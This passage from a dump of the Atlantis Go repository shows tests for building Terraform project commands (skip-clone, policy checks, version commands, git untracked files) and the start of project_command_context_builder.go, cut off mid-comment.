len(testCase.Exp), len(actCtxs))\n\t\t\tfor _, actCtx := range actCtxs {\n\t\t\t\tif testCase.Exp[actCtx.RepoRelDir] != \"\" {\n\t\t\t\t\tAssert(t, actCtx.TerraformVersion != nil, \"TerraformVersion is nil, not %s for %s\", testCase.Exp[actCtx.RepoRelDir], actCtx.RepoRelDir)\n\t\t\t\t\tEquals(t, testCase.Exp[actCtx.RepoRelDir], actCtx.TerraformVersion.String())\n\t\t\t\t} else {\n\t\t\t\t\tAssert(t, actCtx.TerraformVersion == nil, \"TerraformVersion is supposed to be nil.\")\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that we don't clone the repo if there were no changes based on the atlantis.yaml file.\nfunc TestDefaultProjectCommandBuilder_SkipCloneNoChanges(t *testing.T) {\n\tcases := []struct {\n\t\tAtlantisYAML             string\n\t\tIsFork                   bool\n\t\tExpectedCtxs             int\n\t\tExpectedClones           int\n\t\tExpectedGetFileContents  int\n\t\tModifiedFiles            []string\n\t\tIncludeGitUntrackedFiles bool\n\t}{\n\t\t{\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: dir1`,\n\t\t\tExpectedCtxs:             0,\n\t\t\tExpectedClones:           0,\n\t\t\tExpectedGetFileContents:  1,\n\t\t\tModifiedFiles:            []string{\"dir2/main.tf\"},\n\t\t\tIncludeGitUntrackedFiles: false,\n\t\t},\n\t\t{\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: dir1`,\n\t\t\tExpectedCtxs:             0,\n\t\t\tExpectedClones:           1,\n\t\t\tExpectedGetFileContents:  0,\n\t\t\tModifiedFiles:            []string{\"dir2/main.tf\"},\n\t\t\tIncludeGitUntrackedFiles: true,\n\t\t},\n\t\t{\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: dir1`,\n\t\t\tIsFork:                  true,\n\t\t\tExpectedCtxs:            0,\n\t\t\tExpectedClones:          0,\n\t\t\tExpectedGetFileContents: 1,\n\t\t\tModifiedFiles:           []string{\"dir2/main.tf\"},\n\t\t},\n\t\t{\n\t\t\tAtlantisYAML: `\nversion: 3\nparallel_plan: true`,\n\t\t\tExpectedCtxs:             0,\n\t\t\tExpectedClones:           1,\n\t\t\tExpectedGetFileContents:  1,\n\t\t\tModifiedFiles:            []string{\"README.md\"},\n\t\t\tIncludeGitUntrackedFiles: false,\n\t\t},\n\t\t{\n\t\t\tAtlantisYAML: `\nversion: 3\nautodiscover:\n  mode: enabled\nprojects:\n- dir: dir1`,\n\t\t\tExpectedCtxs:             0,\n\t\t\tExpectedClones:           1,\n\t\t\tExpectedGetFileContents:  1,\n\t\t\tModifiedFiles:            []string{\"dir2/main.tf\"},\n\t\t\tIncludeGitUntrackedFiles: false,\n\t\t},\n\t}\n\n\tuserConfig := defaultUserConfig\n\tuserConfig.SkipCloneNoChanges = true\n\n\tfor _, c := range cases {\n\t\tRegisterMockTestingT(t)\n\t\tvcsClient := vcsmocks.NewMockClient()\n\t\tWhen(vcsClient.GetModifiedFiles(\n\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\t\tWhen(vcsClient.SupportsSingleFileDownload(Any[models.Repo]())).ThenReturn(true)\n\t\tWhen(vcsClient.GetFileContent(\n\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[string](), Any[string]())).ThenReturn(true, []byte(c.AtlantisYAML), nil)\n\t\tworkingDir := mocks.NewMockWorkingDir()\n\n\t\tlogger := logging.NewNoopLogger(t)\n\n\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\tAllowAllRepoSettings: true,\n\t\t}\n\t\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\tfalse,\n\t\t\t&config.ParserValidator{},\n\t\t\t&events.DefaultProjectFinder{},\n\t\t\tvcsClient,\n\t\t\tworkingDir,\n\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\tuserConfig.EnableAutoMerge,\n\t\t\tuserConfig.EnableParallelPlan,\n\t\t\tuserConfig.EnableParallelApply,\n\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\tuserConfig.AutoplanFileList,\n\t\t\tuserConfig.RestrictFileList,\n\t\t\tuserConfig.SilenceNoProjects,\n\t\t\tc.IncludeGitUntrackedFiles,\n\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\tscope,\n\t\t\tterraformClient,\n\t\t)\n\n\t\tvar actCtxs []command.ProjectContext\n\t\tvar err error\n\n\t\tbaseRepo := models.Repo{Owner: \"owner\"}\n\t\theadRepo := baseRepo\n\t\tif c.IsFork {\n\t\t\theadRepo.Owner = \"repoForker\"\n\t\t}\n\n\t\tactCtxs, err = builder.BuildAutoplanCommands(&command.Context{\n\t\t\tHeadRepo: headRepo,\n\t\t\tPull: models.PullRequest{\n\t\t\t\tBaseRepo: baseRepo,\n\t\t\t},\n\t\t\tUser:  models.User{},\n\t\t\tLog:   logger,\n\t\t\tScope: scope,\n\t\t\tPullRequestStatus: models.PullReqStatus{\n\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t},\n\t\t})\n\n\t\tOk(t, err)\n\t\tEquals(t, c.ExpectedCtxs, len(actCtxs))\n\t\tworkingDir.VerifyWasCalled(Times(c.ExpectedClones)).Clone(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\tAny[models.PullRequest](), Any[string]())\n\t\tres := vcsClient.VerifyWasCalled(Times(c.ExpectedGetFileContents)).GetFileContent(Any[logging.SimpleLogging](), Any[models.Repo](), Any[string](), Any[string]())\n\t\tif c.ExpectedGetFileContents > 0 {\n\t\t\t_, actRepo, _, _ := res.GetCapturedArguments()\n\t\t\tEquals(t, headRepo, actRepo)\n\t\t}\n\t}\n}\n\nfunc TestDefaultProjectCommandBuilder_WithPolicyCheckEnabled_BuildAutoplanCommand(t *testing.T) {\n\tRegisterMockTestingT(t)\n\ttmpDir := DirStructure(t, map[string]any{\n\t\t\"main.tf\": nil,\n\t})\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tworkingDir := mocks.NewMockWorkingDir()\n\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\tvcsClient := vcsmocks.NewMockClient()\n\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\tAny[models.PullRequest]())).ThenReturn([]string{\"main.tf\"}, nil)\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\tAllowAllRepoSettings: false,\n\t\tPolicyCheckEnabled:   true,\n\t}\n\n\tglobalCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs)\n\tterraformClient := tfclientmocks.NewMockClient()\n\n\tbuilder := events.NewProjectCommandBuilder(\n\t\ttrue,\n\t\t&config.ParserValidator{},\n\t\t&events.DefaultProjectFinder{},\n\t\tvcsClient,\n\t\tworkingDir,\n\t\tevents.NewDefaultWorkingDirLocker(),\n\t\tglobalCfg,\n\t\t&events.DefaultPendingPlanFinder{},\n\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tuserConfig.SkipCloneNoChanges,\n\t\tuserConfig.EnableRegExpCmd,\n\t\tuserConfig.EnableAutoMerge,\n\t\tuserConfig.EnableParallelPlan,\n\t\tuserConfig.EnableParallelApply,\n\t\tuserConfig.AutoDetectModuleFiles,\n\t\tuserConfig.AutoplanFileList,\n\t\tuserConfig.RestrictFileList,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\tuserConfig.AutoDiscoverMode,\n\t\tscope,\n\t\tterraformClient,\n\t)\n\n\tctxs, err := builder.BuildAutoplanCommands(&command.Context{\n\t\tPullRequestStatus: models.PullReqStatus{\n\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t},\n\t\tLog:   logger,\n\t\tScope: scope,\n\t})\n\n\tOk(t, err)\n\tEquals(t, 2, len(ctxs))\n\tplanCtx := ctxs[0]\n\tpolicyCheckCtx := ctxs[1]\n\tEquals(t, command.Plan, planCtx.CommandName)\n\tEquals(t, globalCfg.Workflows[\"default\"].Plan.Steps, planCtx.Steps)\n\tEquals(t, command.PolicyCheck, policyCheckCtx.CommandName)\n\tEquals(t, globalCfg.Workflows[\"default\"].PolicyCheck.Steps, policyCheckCtx.Steps)\n}\n\n// Test building version command for multiple projects\nfunc TestDefaultProjectCommandBuilder_BuildVersionCommand(t *testing.T) {\n\tRegisterMockTestingT(t)\n\ttmpDir := DirStructure(t, map[string]any{\n\t\t\"workspace1\": map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t\t\"project2\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t},\n\t\t\"workspace2\": map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t\t\"project2\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t},\n\t})\n\t// Initialize git repos in each workspace so that the .tfplan files get\n\t// picked up.\n\trunCmd(t, filepath.Join(tmpDir, \"workspace1\"), \"git\", \"init\")\n\trunCmd(t, filepath.Join(tmpDir, \"workspace2\"), \"git\", \"init\")\n\n\tworkingDir := mocks.NewMockWorkingDir()\n\tWhen(workingDir.GetPullDir(\n\t\tAny[models.Repo](),\n\t\tAny[models.PullRequest]())).\n\t\tThenReturn(tmpDir, nil)\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\tAllowAllRepoSettings: false,\n\t}\n\tterraformClient := tfclientmocks.NewMockClient()\n\n\tbuilder := events.NewProjectCommandBuilder(\n\t\tfalse,\n\t\t&config.ParserValidator{},\n\t\t&events.DefaultProjectFinder{},\n\t\tnil,\n\t\tworkingDir,\n\t\tevents.NewDefaultWorkingDirLocker(),\n\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t&events.DefaultPendingPlanFinder{},\n\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tuserConfig.SkipCloneNoChanges,\n\t\tuserConfig.EnableRegExpCmd,\n\t\tuserConfig.EnableAutoMerge,\n\t\tuserConfig.EnableParallelPlan,\n\t\tuserConfig.EnableParallelApply,\n\t\tuserConfig.AutoDetectModuleFiles,\n\t\tuserConfig.AutoplanFileList,\n\t\tuserConfig.RestrictFileList,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\tuserConfig.AutoDiscoverMode,\n\t\tscope,\n\t\tterraformClient,\n\t)\n\n\tctxs, err := builder.BuildVersionCommands(\n\t\t&command.Context{\n\t\t\tLog:   logger,\n\t\t\tScope: scope,\n\t\t},\n\t\t&events.CommentCommand{\n\t\t\tRepoRelDir:  \"\",\n\t\t\tFlags:       nil,\n\t\t\tName:        command.Version,\n\t\t\tVerbose:     false,\n\t\t\tWorkspace:   \"\",\n\t\t\tProjectName: \"\",\n\t\t})\n\tOk(t, err)\n\tEquals(t, 4, len(ctxs))\n\tEquals(t, \"project1\", ctxs[0].RepoRelDir)\n\tEquals(t, \"workspace1\", ctxs[0].Workspace)\n\tEquals(t, \"project2\", ctxs[1].RepoRelDir)\n\tEquals(t, \"workspace1\", ctxs[1].Workspace)\n\tEquals(t, \"project1\", ctxs[2].RepoRelDir)\n\tEquals(t, \"workspace2\", ctxs[2].Workspace)\n\tEquals(t, \"project2\", ctxs[3].RepoRelDir)\n\tEquals(t, \"workspace2\", ctxs[3].Workspace)\n}\n\n// Test\nfunc TestDefaultProjectCommandBuilder_BuildPlanCommands_Single_With_RestrictFileList_And_IncludeGitUntrackedFiles(t *testing.T) {\n\ttestDir1 := \"directory-1\"\n\ttestDir2 := \"directory-2\"\n\n\tcases := []struct {\n\t\tDescription        string\n\t\tAtlantisYAML       string\n\t\tDirectoryStructure map[string]any\n\t\tModifiedFiles      []string\n\t\tUntrackedFiles     []string\n\t\tCmd                events.CommentCommand\n\t\tExpRepoRelDir      string\n\t\tExpErr             string\n\t}{\n\t\t{\n\t\t\tDescription: \"planning a git untracked file project in a modified directory\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:       command.Plan,\n\t\t\t\tRepoRelDir: testDir1 + \"/ci-cdktf.out/stacks/test\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t},\n\t\t\tDirectoryStructure: map[string]any{\n\t\t\t\ttestDir1: map[string]any{\n\t\t\t\t\t\"main.ts\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles:  []string{testDir1 + \"/main.ts\"},\n\t\t\tUntrackedFiles: []string{testDir1 + \"/ci-cdktf.out/stacks/test/cdk.tf.json\"},\n\t\t\tExpRepoRelDir:  testDir1 + \"/ci-cdktf.out/stacks/test\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"planning a git untracked file project outside a modified directory\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:       command.Plan,\n\t\t\t\tRepoRelDir: testDir2 + \"/ci-cdktf.out/stacks/test\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t},\n\t\t\tDirectoryStructure: map[string]any{\n\t\t\t\ttestDir1: map[string]any{\n\t\t\t\t\t\"main.ts\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles:  []string{testDir1 + \"/main.ts\"},\n\t\t\tUntrackedFiles: []string{testDir1 + \"/ci-cdktf.out/stacks/test/cdk.tf.json\"},\n\t\t\tExpErr:         \"the dir \\\"\" + testDir2 + \"/ci-cdktf.out/stacks/test\\\" is not in the plan list of this pull request\",\n\t\t},\n\t}\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\tAllowAllRepoSettings: true,\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\tuserConfig.RestrictFileList = true\n\tuserConfig.IncludeGitUntrackedFiles = true\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description+\"_\"+command.Plan.String(), func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\ttmpDir := DirStructure(t, c.DirectoryStructure)\n\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetGitUntrackedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(c.UntrackedFiles, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\t\t\tif c.AtlantisYAML != \"\" {\n\t\t\t\terr := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600)\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\tfalse, // policyChecksSupported\n\t\t\t\t&config.ParserValidator{},\n\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\tuserConfig.EnableAutoMerge,\n\t\t\t\tuserConfig.EnableParallelPlan,\n\t\t\t\tuserConfig.EnableParallelApply,\n\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\tuserConfig.SilenceNoProjects,\n\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\t\tscope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tvar actCtxs []command.ProjectContext\n\t\t\tvar err error\n\t\t\tcmd := c.Cmd\n\t\t\tactCtxs, err = builder.BuildPlanCommands(&command.Context{\n\t\t\t\tLog:   logger,\n\t\t\t\tScope: scope,\n\t\t\t}, &cmd)\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrEquals(t, c.ExpErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, 1, len(actCtxs))\n\t\t\tactCtx := actCtxs[0]\n\t\t\tEquals(t, c.ExpRepoRelDir, actCtx.RepoRelDir)\n\t\t})\n\t}\n}\n\nfunc TestDefaultProjectCommandBuilder_BuildPlanCommands_with_IncludeGitUntrackedFiles(t *testing.T) {\n\ttestDir1 := \"directory-1\"\n\n\tcases := []struct {\n\t\tDescription        string\n\t\tAtlantisYAML       string\n\t\tDirectoryStructure map[string]any\n\t\tModifiedFiles      []string\n\t\tUntrackedFiles     []string\n\t\tCmd                events.CommentCommand\n\t\tExpRepoRelDir      string\n\t\tExpErr             string\n\t}{\n\t\t{\n\t\t\tDescription: \"planning with a git untracked file\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName: command.Plan,\n\t\t\t},\n\t\t\tDirectoryStructure: map[string]any{\n\t\t\t\ttestDir1: map[string]any{\n\t\t\t\t\t\"main.ts\": nil,\n\t\t\t\t\t\"ci-cdktf.out\": map[string]any{\n\t\t\t\t\t\t\"stacks\": map[string]any{\n\t\t\t\t\t\t\t\"test\": map[string]any{\n\t\t\t\t\t\t\t\t\"cdk.tf.json\": nil,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles:  []string{testDir1 + \"/main.ts\"},\n\t\t\tUntrackedFiles: []string{testDir1 + \"/ci-cdktf.out/stacks/test/cdk.tf.json\"},\n\t\t\tExpRepoRelDir:  testDir1 + \"/ci-cdktf.out/stacks/test\",\n\t\t},\n\t}\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\tAllowAllRepoSettings: true,\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\tuserConfig.IncludeGitUntrackedFiles = true\n\tuserConfig.AutoplanFileList = \"**/cdk.tf.json\"\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description+\"_\"+command.Plan.String(), func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\ttmpDir := DirStructure(t, c.DirectoryStructure)\n\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetGitUntrackedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(c.UntrackedFiles, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\t\t\tif c.AtlantisYAML != \"\" {\n\t\t\t\terr := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600)\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\tfalse, // policyChecksSupported\n\t\t\t\t&config.ParserValidator{},\n\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\tuserConfig.EnableAutoMerge,\n\t\t\t\tuserConfig.EnableParallelPlan,\n\t\t\t\tuserConfig.EnableParallelApply,\n\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\tuserConfig.SilenceNoProjects,\n\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\t\tscope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tvar actCtxs []command.ProjectContext\n\t\t\tvar err error\n\t\t\tcmd := c.Cmd\n\t\t\tactCtxs, err = builder.BuildPlanCommands(&command.Context{\n\t\t\t\tLog:   logger,\n\t\t\t\tScope: scope,\n\t\t\t}, &cmd)\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrEquals(t, c.ExpErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, 1, len(actCtxs))\n\t\t\tactCtx := actCtxs[0]\n\t\t\tEquals(t, c.ExpRepoRelDir, actCtx.RepoRelDir)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/project_command_context_builder.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/google/uuid\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/tfclient\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\nfunc NewProjectCommandContextBuilder(policyCheckEnabled bool, commentBuilder CommentBuilder, scope tally.Scope) ProjectCommandContextBuilder {\n\tprojectCommandContextBuilder := &DefaultProjectCommandContextBuilder{\n\t\tCommentBuilder: commentBuilder,\n\t}\n\n\tif policyCheckEnabled {\n\t\treturn &PolicyCheckProjectCommandContextBuilder{\n\t\t\tCommentBuilder:               commentBuilder,\n\t\t\tProjectCommandContextBuilder: projectCommandContextBuilder,\n\t\t}\n\t}\n\n\treturn &CommandScopedStatsProjectCommandContextBuilder{\n\t\tProjectCommandContextBuilder: projectCommandContextBuilder,\n\t\tProjectCounter:               scope.Counter(\"projects\"),\n\t}\n}\n\ntype ProjectCommandContextBuilder interface {\n\t// BuildProjectContext builds project command contexts for atlantis commands\n\tBuildProjectContext(\n\t\tctx *command.Context,\n\t\tcmdName command.Name,\n\t\tsubCmdName string,\n\t\tprjCfg valid.MergedProjectCfg,\n\t\tcommentFlags []string,\n\t\trepoDir string,\n\t\tautomerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, terraformClient tfclient.Client,\n\t) []command.ProjectContext\n}\n\n// CommandScopedStatsProjectCommandContextBuilder ensures that project command context contains a scoped stats\n// object relevant to the command it applies to.\ntype CommandScopedStatsProjectCommandContextBuilder struct {\n\tProjectCommandContextBuilder\n\t// Consciously making this global since it gets flushed periodically anyways\n\tProjectCounter tally.Counter\n}\n\n// BuildProjectContext builds the context and injects the appropriate command level scope after the fact.\nfunc (cb *CommandScopedStatsProjectCommandContextBuilder) BuildProjectContext(\n\tctx *command.Context,\n\tcmdName command.Name,\n\tsubCmdName string,\n\tprjCfg valid.MergedProjectCfg,\n\tcommentFlags []string,\n\trepoDir string,\n\tautomerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool,\n\tterraformClient tfclient.Client,\n) (projectCmds []command.ProjectContext) {\n\tcb.ProjectCounter.Inc(1)\n\n\tcmds := cb.ProjectCommandContextBuilder.BuildProjectContext(\n\t\tctx, cmdName, subCmdName, prjCfg, commentFlags, repoDir, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, terraformClient,\n\t)\n\n\tprojectCmds = []command.ProjectContext{}\n\n\tfor _, cmd := range cmds {\n\n\t\t// specifically use the command name in the context instead of the arg\n\t\t// since we can return multiple commands worth of contexts for a given command name arg\n\t\t// to effectively pipeline them.\n\t\tcmd.Scope = cmd.SetProjectScopeTags(cmd.Scope)\n\t\tprojectCmds = append(projectCmds, cmd)\n\t}\n\n\treturn\n}\n\ntype DefaultProjectCommandContextBuilder struct {\n\tCommentBuilder CommentBuilder\n}\n\nfunc (cb *DefaultProjectCommandContextBuilder) BuildProjectContext(\n\tctx *command.Context,\n\tcmdName command.Name,\n\tsubName string,\n\tprjCfg valid.MergedProjectCfg,\n\tcommentFlags []string,\n\trepoDir string,\n\tautomerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool,\n\tterraformClient tfclient.Client,\n) (projectCmds []command.ProjectContext) {\n\tctx.Log.Debug(\"Building project command context for %s\", cmdName)\n\n\tvar steps []valid.Step\n\tswitch cmdName {\n\tcase command.Plan:\n\t\tsteps = prjCfg.Workflow.Plan.Steps\n\tcase command.Apply:\n\t\tsteps = prjCfg.Workflow.Apply.Steps\n\tcase command.Version:\n\t\t// Setting statically since there will only be one step\n\t\tsteps = []valid.Step{{\n\t\t\tStepName: \"version\",\n\t\t}}\n\tcase command.Import:\n\t\tsteps = prjCfg.Workflow.Import.Steps\n\tcase command.State:\n\t\tswitch subName {\n\t\tcase \"rm\":\n\t\t\tsteps = prjCfg.Workflow.StateRm.Steps\n\t\tdefault:\n\t\t\t// comment_parser prevent invalid subcommand, so not need to handle this.\n\t\t\t// if comes here, state_command_runner will respond on PR, so it's enough to do log only.\n\t\t\tctx.Log.Err(\"unknown state subcommand: %s\", subName)\n\t\t}\n\t}\n\n\t// If TerraformVersion not defined in config file look for a\n\t// terraform.require_version block.\n\tif prjCfg.TerraformVersion == nil {\n\t\tprjCfg.TerraformVersion = terraformClient.DetectVersion(ctx.Log, filepath.Join(repoDir, prjCfg.RepoRelDir))\n\t}\n\n\tprojectCmdContext := newProjectCommandContext(\n\t\tctx,\n\t\tcmdName,\n\t\tsubName,\n\t\tcb.CommentBuilder.BuildApplyComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, prjCfg.AutoMergeDisabled, prjCfg.AutoMergeMethod),\n\t\tcb.CommentBuilder.BuildApprovePoliciesComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name),\n\t\tcb.CommentBuilder.BuildPlanComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, commentFlags),\n\t\tprjCfg,\n\t\tsteps,\n\t\tprjCfg.PolicySets,\n\t\tescapeArgs(commentFlags),\n\t\tautomerge,\n\t\tparallelApply,\n\t\tparallelPlan,\n\t\tverbose,\n\t\tabortOnExecutionOrderFail,\n\t\tctx.Scope,\n\t\tctx.PullRequestStatus,\n\t\tctx.PullStatus,\n\t\tctx.TeamAllowlistChecker,\n\t)\n\n\tprojectCmds = append(projectCmds, projectCmdContext)\n\n\treturn\n}\n\ntype PolicyCheckProjectCommandContextBuilder struct {\n\tProjectCommandContextBuilder *DefaultProjectCommandContextBuilder\n\tCommentBuilder               CommentBuilder\n}\n\nfunc (cb *PolicyCheckProjectCommandContextBuilder) BuildProjectContext(\n\tctx *command.Context,\n\tcmdName command.Name,\n\tsubCmdName string,\n\tprjCfg valid.MergedProjectCfg,\n\tcommentFlags []string,\n\trepoDir string,\n\tautomerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool,\n\tterraformClient tfclient.Client,\n) (projectCmds []command.ProjectContext) {\n\tif prjCfg.PolicyCheck {\n\t\tctx.Log.Debug(\"PolicyChecks are enabled\")\n\t} else {\n\t\t// PolicyCheck is disabled at repository level\n\t\tctx.Log.Debug(\"PolicyChecks are disabled on this repository\")\n\t}\n\n\t// If TerraformVersion not defined in config file look 